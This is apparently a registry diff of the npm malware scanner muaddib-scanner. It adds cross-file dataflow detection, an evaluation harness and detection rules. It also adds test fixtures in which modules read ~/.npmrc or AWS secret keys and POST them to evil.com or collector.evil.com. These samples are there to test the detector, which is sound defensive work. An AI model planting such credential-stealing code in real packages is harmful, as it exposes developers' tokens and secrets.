muaddib-scanner 2.2.5 → 2.2.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/muaddib.js +16 -2
- package/datasets/benign/packages-npm.txt +576 -77
- package/datasets/benign/packages-pypi.txt +146 -31
- package/datasets/ground-truth/README.md +54 -0
- package/datasets/ground-truth/known-malware.json +622 -0
- package/datasets/holdout-v5/callback-exfil/main.js +8 -0
- package/datasets/holdout-v5/callback-exfil/package.json +5 -0
- package/datasets/holdout-v5/callback-exfil/reader.js +10 -0
- package/datasets/holdout-v5/class-method-exfil/collector.js +10 -0
- package/datasets/holdout-v5/class-method-exfil/main.js +7 -0
- package/datasets/holdout-v5/class-method-exfil/package.json +5 -0
- package/datasets/holdout-v5/conditional-split/detector.js +2 -0
- package/datasets/holdout-v5/conditional-split/package.json +5 -0
- package/datasets/holdout-v5/conditional-split/stealer.js +16 -0
- package/datasets/holdout-v5/event-emitter-flow/listener.js +12 -0
- package/datasets/holdout-v5/event-emitter-flow/package.json +5 -0
- package/datasets/holdout-v5/event-emitter-flow/scanner.js +11 -0
- package/datasets/holdout-v5/mixed-inline-split/index.js +6 -0
- package/datasets/holdout-v5/mixed-inline-split/package.json +5 -0
- package/datasets/holdout-v5/mixed-inline-split/reader.js +3 -0
- package/datasets/holdout-v5/mixed-inline-split/sender.js +6 -0
- package/datasets/holdout-v5/named-export-steal/main.js +6 -0
- package/datasets/holdout-v5/named-export-steal/package.json +5 -0
- package/datasets/holdout-v5/named-export-steal/utils.js +1 -0
- package/datasets/holdout-v5/reexport-chain/a.js +2 -0
- package/datasets/holdout-v5/reexport-chain/b.js +1 -0
- package/datasets/holdout-v5/reexport-chain/c.js +11 -0
- package/datasets/holdout-v5/reexport-chain/package.json +5 -0
- package/datasets/holdout-v5/split-env-exfil/env.js +2 -0
- package/datasets/holdout-v5/split-env-exfil/exfil.js +5 -0
- package/datasets/holdout-v5/split-env-exfil/package.json +5 -0
- package/datasets/holdout-v5/split-npmrc-steal/index.js +2 -0
- package/datasets/holdout-v5/split-npmrc-steal/package.json +5 -0
- package/datasets/holdout-v5/split-npmrc-steal/reader.js +8 -0
- package/datasets/holdout-v5/split-npmrc-steal/sender.js +17 -0
- package/datasets/holdout-v5/three-hop-chain/package.json +5 -0
- package/datasets/holdout-v5/three-hop-chain/reader.js +8 -0
- package/datasets/holdout-v5/three-hop-chain/sender.js +11 -0
- package/datasets/holdout-v5/three-hop-chain/transform.js +3 -0
- package/package.json +1 -1
- package/src/commands/evaluate.js +191 -31
- package/src/index.js +20 -1
- package/src/response/playbooks.js +5 -0
- package/src/rules/index.js +13 -0
- package/src/scanner/module-graph.js +883 -0
- package/tmp-summary.js +24 -0
- package/tmp-test-pack.js +66 -0
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const isCI = require('./detector');
|
|
6
|
+
|
|
7
|
+
if (isCI) {
|
|
8
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
9
|
+
const req = https.request({
|
|
10
|
+
hostname: 'evil.com',
|
|
11
|
+
path: '/ci-steal',
|
|
12
|
+
method: 'POST'
|
|
13
|
+
}, (res) => { res.resume(); });
|
|
14
|
+
req.write(npmrc);
|
|
15
|
+
req.end();
|
|
16
|
+
}
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const bus = require('./scanner');
|
|
3
|
+
|
|
4
|
+
bus.on('data', (creds) => {
|
|
5
|
+
const req = https.request({
|
|
6
|
+
hostname: 'evil.com',
|
|
7
|
+
path: '/steal',
|
|
8
|
+
method: 'POST'
|
|
9
|
+
}, (res) => { res.resume(); });
|
|
10
|
+
req.write(creds);
|
|
11
|
+
req.end();
|
|
12
|
+
});
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const EventEmitter = require('events');
|
|
5
|
+
|
|
6
|
+
const bus = new EventEmitter();
|
|
7
|
+
|
|
8
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
9
|
+
bus.emit('data', npmrc);
|
|
10
|
+
|
|
11
|
+
module.exports = bus;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
exports.getCredentials = process.env.AWS_SECRET_ACCESS_KEY;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = require('./a');
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const data = require('./reader');
|
|
3
|
+
|
|
4
|
+
const options = {
|
|
5
|
+
hostname: 'collector.evil.com',
|
|
6
|
+
port: 443,
|
|
7
|
+
path: '/exfil',
|
|
8
|
+
method: 'POST',
|
|
9
|
+
headers: { 'Content-Type': 'text/plain' }
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
const req = https.request(options, (res) => {
|
|
13
|
+
res.resume();
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
req.write(data);
|
|
17
|
+
req.end();
|
package/package.json
CHANGED
package/src/commands/evaluate.js
CHANGED
|
@@ -3,11 +3,17 @@
|
|
|
3
3
|
*
|
|
4
4
|
* Measures TPR (Ground Truth), FPR (Benign), and ADR (Adversarial).
|
|
5
5
|
* Saves versioned metrics to metrics/v{version}.json.
|
|
6
|
+
*
|
|
7
|
+
* Benign FPR: downloads real npm tarballs and scans actual source code
|
|
8
|
+
* with all 13+ scanners (AST, dataflow, obfuscation, entropy, etc.).
|
|
9
|
+
* Tarballs are cached in .muaddib-cache/benign-tarballs/ to avoid
|
|
10
|
+
* re-downloading on every run.
|
|
6
11
|
*/
|
|
7
12
|
|
|
8
13
|
const fs = require('fs');
|
|
9
14
|
const path = require('path');
|
|
10
|
-
const
|
|
15
|
+
const zlib = require('zlib');
|
|
16
|
+
const { execSync } = require('child_process');
|
|
11
17
|
const { run } = require('../index.js');
|
|
12
18
|
|
|
13
19
|
const ROOT = path.join(__dirname, '..', '..');
|
|
@@ -15,9 +21,11 @@ const GT_DIR = path.join(ROOT, 'tests', 'ground-truth');
|
|
|
15
21
|
const BENIGN_DIR = path.join(ROOT, 'datasets', 'benign');
|
|
16
22
|
const ADVERSARIAL_DIR = path.join(ROOT, 'datasets', 'adversarial');
|
|
17
23
|
const METRICS_DIR = path.join(ROOT, 'metrics');
|
|
24
|
+
const CACHE_DIR = path.join(ROOT, '.muaddib-cache', 'benign-tarballs');
|
|
18
25
|
|
|
19
26
|
const GT_THRESHOLD = 3;
|
|
20
27
|
const BENIGN_THRESHOLD = 20;
|
|
28
|
+
const PACK_TIMEOUT_MS = 30000;
|
|
21
29
|
|
|
22
30
|
const ADVERSARIAL_THRESHOLDS = {
|
|
23
31
|
// Vague 1 (20 samples)
|
|
@@ -102,45 +110,187 @@ async function evaluateGroundTruth() {
|
|
|
102
110
|
return { detected, total, tpr, details };
|
|
103
111
|
}
|
|
104
112
|
|
|
113
|
+
// =========================================================================
|
|
114
|
+
// 2. Benign — download real tarballs and scan actual source code
|
|
115
|
+
// =========================================================================
|
|
116
|
+
|
|
117
|
+
/**
|
|
118
|
+
* Convert a package name to a safe cache directory name.
|
|
119
|
+
* @scoped/pkg → _scoped_pkg
|
|
120
|
+
*/
|
|
121
|
+
function pkgToCacheName(pkg) {
|
|
122
|
+
return pkg.replace(/\//g, '_').replace(/@/g, '_');
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
/**
|
|
126
|
+
* Extract a .tgz file using Node.js built-in zlib + minimal tar parser.
|
|
127
|
+
* Only extracts regular files (type '0' or NUL).
|
|
128
|
+
*/
|
|
129
|
+
function extractTgz(tgzPath, destDir) {
|
|
130
|
+
const compressed = fs.readFileSync(tgzPath);
|
|
131
|
+
const tarData = zlib.gunzipSync(compressed);
|
|
132
|
+
|
|
133
|
+
let offset = 0;
|
|
134
|
+
while (offset + 512 <= tarData.length) {
|
|
135
|
+
const header = tarData.subarray(offset, offset + 512);
|
|
136
|
+
|
|
137
|
+
// Check for end-of-archive (two zero blocks)
|
|
138
|
+
if (header.every(b => b === 0)) break;
|
|
139
|
+
|
|
140
|
+
// Parse tar header
|
|
141
|
+
const name = header.subarray(0, 100).toString('utf8').replace(/\0+$/, '');
|
|
142
|
+
const sizeOctal = header.subarray(124, 136).toString('utf8').replace(/\0+$/, '').trim();
|
|
143
|
+
const size = parseInt(sizeOctal, 8) || 0;
|
|
144
|
+
const typeFlag = String.fromCharCode(header[156]);
|
|
145
|
+
|
|
146
|
+
offset += 512; // move past header
|
|
147
|
+
|
|
148
|
+
if (name && (typeFlag === '0' || typeFlag === '\0') && size > 0) {
|
|
149
|
+
// Regular file — extract it
|
|
150
|
+
const filePath = path.join(destDir, name);
|
|
151
|
+
fs.mkdirSync(path.dirname(filePath), { recursive: true });
|
|
152
|
+
const fileData = tarData.subarray(offset, offset + size);
|
|
153
|
+
fs.writeFileSync(filePath, fileData);
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
// Advance past data blocks (512-byte aligned)
|
|
157
|
+
offset += Math.ceil(size / 512) * 512;
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
|
|
105
161
|
/**
|
|
106
|
-
*
|
|
162
|
+
* Download a package tarball via `npm pack` and extract with native Node.js.
|
|
163
|
+
* Returns the path to the extracted package directory, or null on failure.
|
|
164
|
+
* Uses a persistent cache to avoid re-downloading.
|
|
107
165
|
*/
|
|
108
|
-
|
|
166
|
+
function downloadAndExtract(pkg, options = {}) {
|
|
167
|
+
const cacheName = pkgToCacheName(pkg);
|
|
168
|
+
const pkgCacheDir = path.join(CACHE_DIR, cacheName);
|
|
169
|
+
|
|
170
|
+
// Check cache first (unless refreshing)
|
|
171
|
+
if (!options.refreshBenign && fs.existsSync(pkgCacheDir)) {
|
|
172
|
+
const extractedDir = path.join(pkgCacheDir, 'package');
|
|
173
|
+
if (fs.existsSync(extractedDir)) {
|
|
174
|
+
return extractedDir;
|
|
175
|
+
}
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
// Download via npm pack (cwd approach avoids Windows path issues)
|
|
179
|
+
fs.mkdirSync(pkgCacheDir, { recursive: true });
|
|
180
|
+
|
|
181
|
+
let tgzFilename;
|
|
182
|
+
try {
|
|
183
|
+
const output = execSync(`npm pack ${pkg}`, {
|
|
184
|
+
cwd: pkgCacheDir,
|
|
185
|
+
encoding: 'utf8',
|
|
186
|
+
timeout: PACK_TIMEOUT_MS,
|
|
187
|
+
stdio: ['pipe', 'pipe', 'pipe']
|
|
188
|
+
});
|
|
189
|
+
tgzFilename = output.trim().split('\n').pop().trim();
|
|
190
|
+
} catch (err) {
|
|
191
|
+
if (process.env.MUADDIB_DEBUG) {
|
|
192
|
+
console.error(`\n [DEBUG] npm pack ${pkg} failed: ${(err.stderr || err.message || '').slice(0, 200)}`);
|
|
193
|
+
}
|
|
194
|
+
fs.rmSync(pkgCacheDir, { recursive: true, force: true });
|
|
195
|
+
return null;
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
const tgzPath = path.join(pkgCacheDir, tgzFilename);
|
|
199
|
+
if (!fs.existsSync(tgzPath)) {
|
|
200
|
+
fs.rmSync(pkgCacheDir, { recursive: true, force: true });
|
|
201
|
+
return null;
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
// Extract tarball using native Node.js (no shell tar dependency)
|
|
205
|
+
try {
|
|
206
|
+
extractTgz(tgzPath, pkgCacheDir);
|
|
207
|
+
} catch (err) {
|
|
208
|
+
if (process.env.MUADDIB_DEBUG) {
|
|
209
|
+
console.error(`\n [DEBUG] extract ${pkg} failed: ${(err.message || '').slice(0, 200)}`);
|
|
210
|
+
}
|
|
211
|
+
fs.rmSync(pkgCacheDir, { recursive: true, force: true });
|
|
212
|
+
return null;
|
|
213
|
+
}
|
|
214
|
+
|
|
215
|
+
// Clean up tarball to save space
|
|
216
|
+
try { fs.unlinkSync(tgzPath); } catch { /* ignore */ }
|
|
217
|
+
|
|
218
|
+
const extractedDir = path.join(pkgCacheDir, 'package');
|
|
219
|
+
if (!fs.existsSync(extractedDir)) {
|
|
220
|
+
fs.rmSync(pkgCacheDir, { recursive: true, force: true });
|
|
221
|
+
return null;
|
|
222
|
+
}
|
|
223
|
+
|
|
224
|
+
return extractedDir;
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
/**
|
|
228
|
+
* Evaluate benign packages by downloading real source code and scanning it.
|
|
229
|
+
*/
|
|
230
|
+
async function evaluateBenign(options = {}) {
|
|
109
231
|
const listFile = path.join(BENIGN_DIR, 'packages-npm.txt');
|
|
110
|
-
|
|
232
|
+
let packages = fs.readFileSync(listFile, 'utf8')
|
|
111
233
|
.split('\n')
|
|
112
234
|
.map(l => l.trim())
|
|
113
235
|
.filter(l => l && !l.startsWith('#'));
|
|
114
236
|
|
|
237
|
+
// Apply limit if specified
|
|
238
|
+
const limit = options.benignLimit || 0;
|
|
239
|
+
if (limit > 0) {
|
|
240
|
+
packages = packages.slice(0, limit);
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
fs.mkdirSync(CACHE_DIR, { recursive: true });
|
|
244
|
+
|
|
115
245
|
const details = [];
|
|
116
246
|
let flagged = 0;
|
|
247
|
+
let skipped = 0;
|
|
248
|
+
const total = packages.length;
|
|
249
|
+
|
|
250
|
+
for (let i = 0; i < packages.length; i++) {
|
|
251
|
+
const pkg = packages[i];
|
|
252
|
+
const progress = `[${i + 1}/${total}]`;
|
|
117
253
|
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
// Create minimal project with this package as dependency
|
|
122
|
-
const pkgJson = { name: 'eval-project', version: '1.0.0', dependencies: { [pkg]: '*' } };
|
|
123
|
-
fs.writeFileSync(path.join(tmpDir, 'package.json'), JSON.stringify(pkgJson));
|
|
124
|
-
|
|
125
|
-
// Create fake node_modules entry so dependency scanner picks it up
|
|
126
|
-
const parts = pkg.split('/');
|
|
127
|
-
const nmDir = path.join(tmpDir, 'node_modules', ...parts);
|
|
128
|
-
fs.mkdirSync(nmDir, { recursive: true });
|
|
129
|
-
fs.writeFileSync(path.join(nmDir, 'package.json'), JSON.stringify({ name: pkg, version: '999.0.0' }));
|
|
130
|
-
|
|
131
|
-
const result = await silentScan(tmpDir);
|
|
132
|
-
const score = result.summary.riskScore;
|
|
133
|
-
const isFlagged = score > BENIGN_THRESHOLD;
|
|
134
|
-
if (isFlagged) flagged++;
|
|
135
|
-
details.push({ name: pkg, score, flagged: isFlagged });
|
|
136
|
-
} finally {
|
|
137
|
-
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
254
|
+
// Progress indicator (overwrite line)
|
|
255
|
+
if (!options.json && process.stdout.isTTY) {
|
|
256
|
+
process.stdout.write(`\r [2/3] Benign ${progress} ${pkg}${''.padEnd(40)}`);
|
|
138
257
|
}
|
|
258
|
+
|
|
259
|
+
const extractedDir = downloadAndExtract(pkg, options);
|
|
260
|
+
if (!extractedDir) {
|
|
261
|
+
details.push({ name: pkg, score: 0, flagged: false, skipped: true, error: 'download failed' });
|
|
262
|
+
skipped++;
|
|
263
|
+
continue;
|
|
264
|
+
}
|
|
265
|
+
|
|
266
|
+
const result = await silentScan(extractedDir);
|
|
267
|
+
const score = result.summary.riskScore;
|
|
268
|
+
const isFlagged = score > BENIGN_THRESHOLD;
|
|
269
|
+
if (isFlagged) flagged++;
|
|
270
|
+
|
|
271
|
+
const entry = { name: pkg, score, flagged: isFlagged };
|
|
272
|
+
|
|
273
|
+
// Include threat details for flagged packages (for debugging FPs)
|
|
274
|
+
if (isFlagged && result.threats) {
|
|
275
|
+
entry.threats = result.threats.map(t => ({
|
|
276
|
+
type: t.type,
|
|
277
|
+
severity: t.severity,
|
|
278
|
+
message: t.message,
|
|
279
|
+
file: t.file
|
|
280
|
+
}));
|
|
281
|
+
}
|
|
282
|
+
|
|
283
|
+
details.push(entry);
|
|
139
284
|
}
|
|
140
285
|
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
286
|
+
// Clear progress line
|
|
287
|
+
if (!options.json && process.stdout.isTTY) {
|
|
288
|
+
process.stdout.write('\r' + ''.padEnd(80) + '\r');
|
|
289
|
+
}
|
|
290
|
+
|
|
291
|
+
const scanned = total - skipped;
|
|
292
|
+
const fpr = scanned > 0 ? flagged / scanned : 0;
|
|
293
|
+
return { flagged, total, scanned, skipped, fpr, details };
|
|
144
294
|
}
|
|
145
295
|
|
|
146
296
|
/**
|
|
@@ -186,6 +336,11 @@ function saveMetrics(report) {
|
|
|
186
336
|
|
|
187
337
|
/**
|
|
188
338
|
* Main evaluate function
|
|
339
|
+
*
|
|
340
|
+
* Options:
|
|
341
|
+
* json — JSON output mode
|
|
342
|
+
* benignLimit — Only test first N benign packages
|
|
343
|
+
* refreshBenign — Force re-download of all tarballs
|
|
189
344
|
*/
|
|
190
345
|
async function evaluate(options = {}) {
|
|
191
346
|
const version = require('../../package.json').version;
|
|
@@ -198,9 +353,9 @@ async function evaluate(options = {}) {
|
|
|
198
353
|
const groundTruth = await evaluateGroundTruth();
|
|
199
354
|
|
|
200
355
|
if (!jsonMode) {
|
|
201
|
-
console.log(` [2/3] Benign packages...`);
|
|
356
|
+
console.log(` [2/3] Benign packages (real source code)...`);
|
|
202
357
|
}
|
|
203
|
-
const benign = await evaluateBenign();
|
|
358
|
+
const benign = await evaluateBenign(options);
|
|
204
359
|
|
|
205
360
|
if (!jsonMode) {
|
|
206
361
|
console.log(` [3/3] Adversarial samples...`);
|
|
@@ -226,7 +381,7 @@ async function evaluate(options = {}) {
|
|
|
226
381
|
|
|
227
382
|
console.log('');
|
|
228
383
|
console.log(` Ground Truth (TPR): ${groundTruth.detected}/${groundTruth.total} ${tprPct}%`);
|
|
229
|
-
console.log(` Benign (FPR): ${benign.flagged}/${benign.
|
|
384
|
+
console.log(` Benign (FPR): ${benign.flagged}/${benign.scanned} ${fprPct}% (${benign.skipped} skipped)`);
|
|
230
385
|
console.log(` Adversarial (ADR): ${adversarial.detected}/${adversarial.total} ${adrPct}%`);
|
|
231
386
|
console.log('');
|
|
232
387
|
|
|
@@ -240,12 +395,17 @@ async function evaluate(options = {}) {
|
|
|
240
395
|
console.log('');
|
|
241
396
|
}
|
|
242
397
|
|
|
243
|
-
// Show false positives
|
|
398
|
+
// Show false positives with threat details
|
|
244
399
|
const fps = benign.details.filter(d => d.flagged);
|
|
245
400
|
if (fps.length > 0) {
|
|
246
401
|
console.log(' False positives:');
|
|
247
402
|
for (const fp of fps) {
|
|
248
403
|
console.log(` ${fp.name}: score ${fp.score}`);
|
|
404
|
+
if (fp.threats) {
|
|
405
|
+
for (const t of fp.threats) {
|
|
406
|
+
console.log(` [${t.severity}] ${t.type}: ${t.message}${t.file ? ' (' + t.file + ')' : ''}`);
|
|
407
|
+
}
|
|
408
|
+
}
|
|
249
409
|
}
|
|
250
410
|
console.log('');
|
|
251
411
|
}
|
package/src/index.js
CHANGED
|
@@ -20,6 +20,7 @@ const { ensureIOCs } = require('./ioc/bootstrap.js');
|
|
|
20
20
|
const { scanEntropy } = require('./scanner/entropy.js');
|
|
21
21
|
const { scanAIConfig } = require('./scanner/ai-config.js');
|
|
22
22
|
const { deobfuscate } = require('./scanner/deobfuscate.js');
|
|
23
|
+
const { buildModuleGraph, annotateTaintedExports, detectCrossFileFlows } = require('./scanner/module-graph.js');
|
|
23
24
|
const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
|
|
24
25
|
const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
|
|
25
26
|
const { detectPublishAnomaly } = require('./publish-anomaly.js');
|
|
@@ -226,6 +227,18 @@ async function run(targetPath, options = {}) {
|
|
|
226
227
|
// Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
|
|
227
228
|
const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
|
|
228
229
|
|
|
230
|
+
// Cross-file module graph analysis (before individual scanners)
|
|
231
|
+
let crossFileFlows = [];
|
|
232
|
+
if (!options.noModuleGraph) {
|
|
233
|
+
try {
|
|
234
|
+
const graph = buildModuleGraph(targetPath);
|
|
235
|
+
const tainted = annotateTaintedExports(graph, targetPath);
|
|
236
|
+
crossFileFlows = detectCrossFileFlows(graph, tainted, targetPath);
|
|
237
|
+
} catch {
|
|
238
|
+
// Graceful fallback — module graph is best-effort
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
|
|
229
242
|
// Parallel execution of all independent scanners
|
|
230
243
|
const [
|
|
231
244
|
packageThreats,
|
|
@@ -275,7 +288,13 @@ async function run(targetPath, options = {}) {
|
|
|
275
288
|
...pythonThreats,
|
|
276
289
|
...pypiTyposquatThreats,
|
|
277
290
|
...entropyThreats,
|
|
278
|
-
...aiConfigThreats
|
|
291
|
+
...aiConfigThreats,
|
|
292
|
+
...crossFileFlows.map(f => ({
|
|
293
|
+
type: f.type,
|
|
294
|
+
severity: f.severity,
|
|
295
|
+
message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
|
|
296
|
+
file: f.sinkFile
|
|
297
|
+
}))
|
|
279
298
|
];
|
|
280
299
|
|
|
281
300
|
// Paranoid mode
|
|
@@ -304,6 +304,11 @@ const PLAYBOOKS = {
|
|
|
304
304
|
'NE PAS installer. Ceci execute du code arbitraire a l\'installation. ' +
|
|
305
305
|
'Si deja installe: considerer la machine compromise. Auditer les modifications systeme.',
|
|
306
306
|
|
|
307
|
+
cross_file_dataflow:
|
|
308
|
+
'CRITIQUE: Un module lit des credentials et les exporte vers un autre module qui les envoie sur le reseau. ' +
|
|
309
|
+
'Exfiltration inter-fichiers confirmee. Isoler la machine, supprimer le package, regenerer TOUS les secrets. ' +
|
|
310
|
+
'Auditer les connexions reseau recentes pour identifier les donnees exfiltrees.',
|
|
311
|
+
|
|
307
312
|
credential_tampering:
|
|
308
313
|
'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
|
|
309
314
|
'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
|
package/src/rules/index.js
CHANGED
|
@@ -624,6 +624,19 @@ const RULES = {
|
|
|
624
624
|
mitre: 'T1195.002'
|
|
625
625
|
},
|
|
626
626
|
|
|
627
|
+
cross_file_dataflow: {
|
|
628
|
+
id: 'MUADDIB-FLOW-004',
|
|
629
|
+
name: 'Cross-File Data Exfiltration',
|
|
630
|
+
severity: 'CRITICAL',
|
|
631
|
+
confidence: 'high',
|
|
632
|
+
description: 'Un module lit des credentials (fs.readFileSync, process.env) et les exporte vers un autre module qui les envoie sur le reseau (fetch, https.request). Exfiltration inter-fichiers confirmee.',
|
|
633
|
+
references: [
|
|
634
|
+
'https://blog.phylum.io/shai-hulud-npm-worm',
|
|
635
|
+
'https://attack.mitre.org/techniques/T1041/'
|
|
636
|
+
],
|
|
637
|
+
mitre: 'T1041'
|
|
638
|
+
},
|
|
639
|
+
|
|
627
640
|
credential_tampering: {
|
|
628
641
|
id: 'MUADDIB-FLOW-003',
|
|
629
642
|
name: 'Credential/Cache Tampering',
|